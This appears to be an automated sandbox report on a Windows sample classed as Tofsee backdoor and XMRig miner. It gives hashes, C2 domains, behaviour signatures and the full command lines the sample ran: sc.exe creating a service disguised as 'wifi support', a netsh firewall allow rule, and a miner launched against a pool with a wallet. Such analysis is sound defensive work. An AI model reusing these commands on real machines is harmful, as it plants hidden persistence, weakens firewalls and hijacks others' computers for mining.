Overview

overview

10

Static

static

file.exe

windows7-x64

10

file.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    140s
  • max time network
    151s
  • platform
    windows7_x64
  • resource
    win7-20221111-en
  • resource tags

    arch:x64arch:x86image:win7-20221111-enlocale:en-usos:windows7-x64system
  • submitted
    18/12/2022, 20:10

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General

  • Target

    file.exe

  • Size

    214KB

  • MD5

    951bcafb0a4e4b3a828af9a1cf16534b

  • SHA1

    f1ab2768fc107871852b73b5881284ebd40e6f9c

  • SHA256

    9441c5f3046b82e81197d9b09682bb13e6d1ed6e42afeacdbc9d627cf34d9c7d

  • SHA512

    cd8d9bd0cafcc04b8a65abaf43fb54ee01c869f5342225f6199f236805408b074858f3969fbbe8c2d839283ece900345dd014bd32c1147ae62b537cdf6c4711a

  • SSDEEP

    3072:c0F5wLy/9TwzaWR1i4zhshWWK97Reh1V/BYSENRAtOba+WCdVjcbImdzmuX:dFGLy/9wz31yhWD9Ne/+0YnjcbXF

Score
10/10
tofseexmrigevasionminerpersistencetrojan

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

    trojantofsee
  • Windows security bypass 2 TTPs 1 IoCs
    evasiontrojan
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • XMRig Miner payload 2 IoCs
    miner
  • Creates new service(s) 1 TTPs
    persistence
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
    evasion
  • Sets service image path in registry 2 TTPs 1 IoCs
    persistence
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1800
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\bsstazdt\
      2⤵
        PID:1252
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\euwjasd.exe" C:\Windows\SysWOW64\bsstazdt\
        2⤵
          PID:1340
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create bsstazdt binPath= "C:\Windows\SysWOW64\bsstazdt\euwjasd.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:572
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description bsstazdt "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1804
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start bsstazdt
          2⤵
          • Launches sc.exe
          PID:908
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:300
      • C:\Windows\SysWOW64\bsstazdt\euwjasd.exe
        C:\Windows\SysWOW64\bsstazdt\euwjasd.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:888
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1632
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1684

      Network

            MITRE ATT&CK Enterprise v6

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            Downloads

            • C:\Users\Admin\AppData\Local\Temp\euwjasd.exe
              Filesize

              11.3MB

              MD5

              8cefc842ff2699a569acb80213ec4622

              SHA1

              a34c71734cffb1698941b61b9c46a4eb00c57fed

              SHA256

              d67e0a8cd4f5fe853c92f031306cc30cbae49dc9ab715dd75edb44f4bc629b0a

              SHA512

              9477bc91574263c21529367316e07b59d4fa741d4e0fb0bcd1d3ceaaad67212284ea54ea236c74b20150b929ee5b5ba9ecb9db42a9a624317299a9c9681786ba

              Download Submit

            • C:\Windows\SysWOW64\bsstazdt\euwjasd.exe
              Filesize

              11.3MB

              MD5

              8cefc842ff2699a569acb80213ec4622

              SHA1

              a34c71734cffb1698941b61b9c46a4eb00c57fed

              SHA256

              d67e0a8cd4f5fe853c92f031306cc30cbae49dc9ab715dd75edb44f4bc629b0a

              SHA512

              9477bc91574263c21529367316e07b59d4fa741d4e0fb0bcd1d3ceaaad67212284ea54ea236c74b20150b929ee5b5ba9ecb9db42a9a624317299a9c9681786ba

              Download Submit

            • memory/888-76-0x0000000000400000-0x000000000045F000-memory.dmp

              Filesize

              380KB

              Download

            • memory/888-74-0x00000000008DB000-0x00000000008EC000-memory.dmp

              Filesize

              68KB

              Download

            • memory/1632-70-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

              Download

            • memory/1632-80-0x00000000019D0000-0x0000000001BDF000-memory.dmp

              Filesize

              2.1MB

              Download

            • memory/1632-107-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

              Download

            • memory/1632-95-0x00000000000D0000-0x00000000000D7000-memory.dmp

              Filesize

              28KB

              Download

            • memory/1632-92-0x0000000005630000-0x0000000005A3B000-memory.dmp

              Filesize

              4.0MB

              Download

            • memory/1632-89-0x00000000000C0000-0x00000000000C5000-memory.dmp

              Filesize

              20KB

              Download

            • memory/1632-72-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

              Download

            • memory/1632-86-0x00000000000B0000-0x00000000000C0000-memory.dmp

              Filesize

              64KB

              Download

            • memory/1632-83-0x00000000000A0000-0x00000000000A6000-memory.dmp

              Filesize

              24KB

              Download

            • memory/1632-79-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

              Download

            • memory/1684-98-0x00000000000C0000-0x00000000001B1000-memory.dmp

              Filesize

              964KB

              Download

            • memory/1684-100-0x00000000000C0000-0x00000000001B1000-memory.dmp

              Filesize

              964KB

              Download

            • memory/1800-56-0x000000000061B000-0x000000000062C000-memory.dmp

              Filesize

              68KB

              Download

            • memory/1800-57-0x0000000000220000-0x0000000000233000-memory.dmp

              Filesize

              76KB

              Download

            • memory/1800-54-0x00000000760D1000-0x00000000760D3000-memory.dmp

              Filesize

              8KB

              Download

            • memory/1800-67-0x0000000000400000-0x000000000045F000-memory.dmp

              Filesize

              380KB

              Download

            • memory/1800-66-0x000000000061B000-0x000000000062C000-memory.dmp

              Filesize

              68KB

              Download

            • memory/1800-58-0x0000000000400000-0x000000000045F000-memory.dmp

              Filesize

              380KB

              Download